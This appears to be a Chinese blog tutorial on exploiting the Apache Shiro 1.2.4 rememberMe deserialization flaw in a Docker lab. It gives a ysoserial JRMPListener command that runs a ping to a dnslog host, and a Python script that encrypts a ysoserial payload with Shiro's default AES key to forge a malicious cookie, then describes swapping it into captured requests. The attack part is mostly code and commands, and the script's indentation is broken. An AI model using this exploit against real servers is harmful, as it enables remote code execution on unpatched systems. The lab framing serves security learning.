• shiro反序列化


    Shiro是一个强大且易用的Java安全框架,主要用于身份验证、授权、密码和会话管理。
    使用docker下载一个镜像,搭建一个shiro1.2.4的漏洞环境
    运行下载好的镜像
    sudo docker pull -p 8080:8080 -d medicean/vulapps:s_shiro_1
    访问8080端口、使用root用户登录、一定要记住密码
    使用YSO的JRMP进行监听7777端口
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "ping sntg9w.dnslog.cn"
    然后使用poc.py生成cookie
    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    
    def encode_rememberme(command):    
        popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)    
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()  
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #这里替换密钥
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)    
        file_body = pad(popen.stdout.read())    
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    
        return base64_ciphertext
        
        if __name__ == '__main__':   
             payload = encode_rememberme(sys.argv[1])    
    print ("rememberMe={0}".format(payload.decode()))
    然后抓包替换cookie
    正常发包的cookie
    然后删除JSESSIONID和空格、并把我们使用payload生成的cookie替换上
    这是修改后的cookie,可以看到返回包中存在“rememberMe=deleteMe”,可以确定为shiro框架
    然后查看我们监听的7777端口,看是否有流量经过
    在检查DNSlog是否有记录

  • 相关阅读:
    程序员转型架构师,推荐你读这几本书
    Dubbo服务发现源码解析
    高可用架构之限流降级
    为什么Kafka速度那么快
    从分布式一致性到共识机制(三)拜占庭问题
    从分布式一致性到共识机制(二)Raft算法
    三分钟看完京东区块链白皮书
    轻松理解零知识证明
    三大去中心化交易协议对比
    从分布式一致性到共识机制(一)Paxos算法
  • 原文地址:https://www.cnblogs.com/Excellent-person/p/14021994.html
Copyright © 2020-2023  润新知